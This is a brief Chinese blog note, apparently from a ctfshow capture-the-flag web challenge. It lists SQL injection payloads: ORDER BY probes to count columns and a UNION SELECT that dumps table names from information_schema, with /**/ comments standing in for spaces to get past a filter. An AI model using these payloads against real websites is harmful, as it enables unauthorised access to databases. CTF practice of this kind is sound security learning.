weixin_57011346的博客

原创 ctfshow web做题笔记

爆表名：id=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#------id=1/**/or/**/1=1/**/order/**/by/**/3# 正常回显。------id=1/**/or/**/1=1/**/order/**/by/**/4# 回显错误。